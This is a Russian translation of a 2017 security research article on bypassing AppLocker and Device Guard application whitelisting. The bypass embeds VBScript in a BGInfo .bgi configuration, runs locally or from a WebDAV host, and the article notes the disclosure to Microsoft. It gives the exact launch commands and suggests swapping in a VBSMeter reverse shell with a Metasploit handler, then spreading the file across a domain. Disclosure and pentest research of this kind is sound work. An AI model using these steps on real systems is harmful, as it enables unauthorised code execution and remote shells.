11.07.2017

Обход белых списков приложений при помощи BGInfo

image

В январе я обнаружил, что утилиту BGINFO.exe (старого и доброго друга системных администраторов) можно использовать для обхода AppLocker и Device Guard.

Автор: Oddvar Moe
Суть идеи заключается в том, что файл BGinfo.exe версии ниже 4.22  используется для обхода белых списков приложений при помощи кода, написанного vbscript и помещенного внутрь файла bgi. Вся схема может работать напрямую с webdav-сервера (Web Distributed Authoring and Versioning; система для совместной работы над документами нескольких пользователей).
На поиск данной техники обхода меня вдохновили Мэтт Грэбер (Matt Graeber; @mattifestation) и Кейси Смит (Casey Smith; @subtee). Особая благодарность Кейси за всестороннюю помощь, которая в частности связана с проверкой найденной уязвимости. Парни – вы сила.
После конференции Bluehat в Израиле, где вышеупомянутые ребята представляли доклад под названием «Device Guard Attack Surface, Bypasses, and Mitigations» (слайды: https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/MattGraeber.CaseySmith.pdf), я решил поглубже разобраться в этой области. Мэтт и Кейси советовали повнимательнее изучить то, чему мы доверяем, что я и сделал. Это моя первая статья с описанием техники обхода. Надеюсь, вам понравится.
Когда вы используете белые списки приложений в Device Guard или AppLocker, то должны указать, кому доверяете. Наиболее распространенная практика – доверять всем бинарным файлам, подписанным компанией Microsoft.
Проблема заключается в том, что мы разрешаем запуск кода из любого бинарного файла с подписью Microsoft. Несколько статей, связанных с обходом защиты при помощи бинарных файлов, заслуживающих доверия, показаны ниже:

Если вы знаете другие приложения, не упомянутые в списке выше, пишите в комментариях.
В январе я обнаружил, что утилиту BGINFO.exe (старого и доброго друга системных администраторов) можно использовать для обхода AppLocker и Device Guard. О найденной уязвимости было сообщено в MSRC, после чего я получил ответ, что присутствие бреши подтверждено, и скоро появится код CVE (по этому поводу я даже разметил твит).
Однако после длительного ожидания и последующих исследований компанией Microsoft я получил извещение, что в Device Guard проблема не может быть устранена и в итоге новый номер CVE не появится.
Но мое открытие будет упомянуто в следующей версии документации Device Guard наряду с методами обхода Мэтта Грэбера, Кейси Смита и Мэтта Нельсона.
Схема обхода
Чтобы обойти белый список приложений при помощи bginfo вначале нужно создать файл VBscript, который мы хотим запустить. Вы можете сохранить этот файл в системе, где планируется запуск, либо на webdav-сервере, находящимся в интернете (подробности далее).
Вначале будет показан простейший пример, чтобы вы поняли суть.
Создайте папку C:\bginfo.
Загрузите bginfo 4.21 или более раннюю версию (версия 4.22 работать не будет) и сохраните в ранее созданную папку.
Далее загрузите пример кода на vbscript и сохраните в файле bginfo.vbs.
Затем нужно запустить файл bginfo.exe и сделать следующее:



Рисунок 1: Создание нового поля в bginfo
Обратите внимание на отсутствие полного пути к файлу bginfo.vbs. Если ввести просто имя файла, скрипт должен находиться в той же самой директории, что и bginfo.exe.
Затем появится всплывающее окно:

Рисунок 2: Перечень полей, добавленных пользователем
Теперь нужно добавить созданное поле в конфигурацию:

Рисунок 3: Добавление нового поля
Затем сохраняем конфигурацию в ту же папку по именем bginfo.bgi:


Рисунок 4: Сохранение конфигурации
(Полагаю, что создание файла .bgi можно автоматизировать, например, при помощи Powershell-скрипта. Возможно, в будущем я добавлю этот скрипт в Powersploit/Empire).
Теперь из командной строки можно запустить следующую команду. Запустится vbscript с обходом защиты Device guard и AppLocker:
c:\bginfo\bginfo.exe bginfo.bgi /popup /nolicprompt

Рисунок 5: Запуск команды для обхода защиты Deviceguard иAppLocker
Однако самое интересное заключается в том, что то же самое можно сделать на сервере webdav:
Для решения этой задачи необходимо загрузить созданные файлы на сервер. О том, как настроить webdav-сервер, написано множество статей, и я не буду касаться этой темы.
Чтобы выполнить обход напрямую с webdav-сервера, можно просто запустить следующую команду (естественно, с другим IP-адресом):
“\\10.10.10.10\webdav\bginfo.exe” bginfo.bgi /popup /nolicprompt
На видео ниже продемонстрировать процесс обхода белого списка напрямую с webdav – сервера:
https://www.youtube.com/watch?v=OiKhgSxWKUM
В Microsoft внесли изменения в код файла bginfo.exe, и этот трюк не будет работать в версии 4.22, выпущенной 16 мая 2017 года. Эта версия стала результатом нахождения техники обхода. Марк Руссинович может поблагодарить меня позже J.
Перед внесением изменений в bginfo вы могли выполнить команду наподобие следующей:
“\\live.sysinternals.com\Tools\bginfo.exe” \\10.10.10.10\webdav\bginfo.bgi /popup /nolicprompt
Если вы не хотите увидеть всплывающее сообщение наподобие следующего:

Рисунок 5: Сообщение о невозможности проверки подлинности запускаемого файла
То должны запустить файл bginfo.exe с клиента и указать путь к bgi файлу на webdav-сервере. В этом случае внутри файла bgi нужно указать путь наподобие следующего:

Рисунок 6: Полный путь к vbs файлу, который хранится на webdav-сервере
Бонусный трюк
В качестве бонусного хака к вышеуказанному методу, за что огромное спасибо @Cneelis, хотел бы предложить использование реверсивного шелла на базе VBSMeter: https://github.com/Cn33liz/VBSMeter/blob/master/VBSMeter.vbs.
Эту утилита, которая заслуживает вашего внимания.
Суть заключается в том, что вам нужно заменить содержимое bginfo.vbs на содержимое VBSMeter. Измените порты, IP-адрес и установите обработчик Metasploit, как описано в документации на github-странице, посвященной VBSMeter.
Видео демонстрация трюка
https://www.youtube.com/watch?time_continue=3&v=Kb_NMuBlvrU
Заключение
Если вдруг вы во время пентестов «столкнулись» с .bgi файлами с правами на запись, рекомендую попробовать добавить внутрь содержимое VBSMeter. Вспоминаю, как я сталкивался с подобными находками, но на тот момент я не знал, как использовать эти файлы в своих интересах. Например, можно рассмотреть сценарий, связанный с добавлением VBSMeter в bgi файл, а затем размножить полученный файл по всем компьютерам/серверам внутри домена. Как вы думаете, возникнет град из падающих шеллов? J
Я создам запрос на добавление к правилам на странице Мэтта Грэбера: https://github.com/mattifestation/DeviceGuardBypassMitigationRules.
Надеюсь, что Марк Руссинович не обидится на мою статью. Я действительно люблю утилиты из пакета Windows Sysinternals и использую эти инструменты, находясь на обеих сторонах баррикад.
Обновление от 22.05.2017
AppLocker до сих пор уязвим к версии Bginfo 4.22. За подробностями обращайтесь к статье https://msitpros.com/?p=3860.

comments powered by Disqus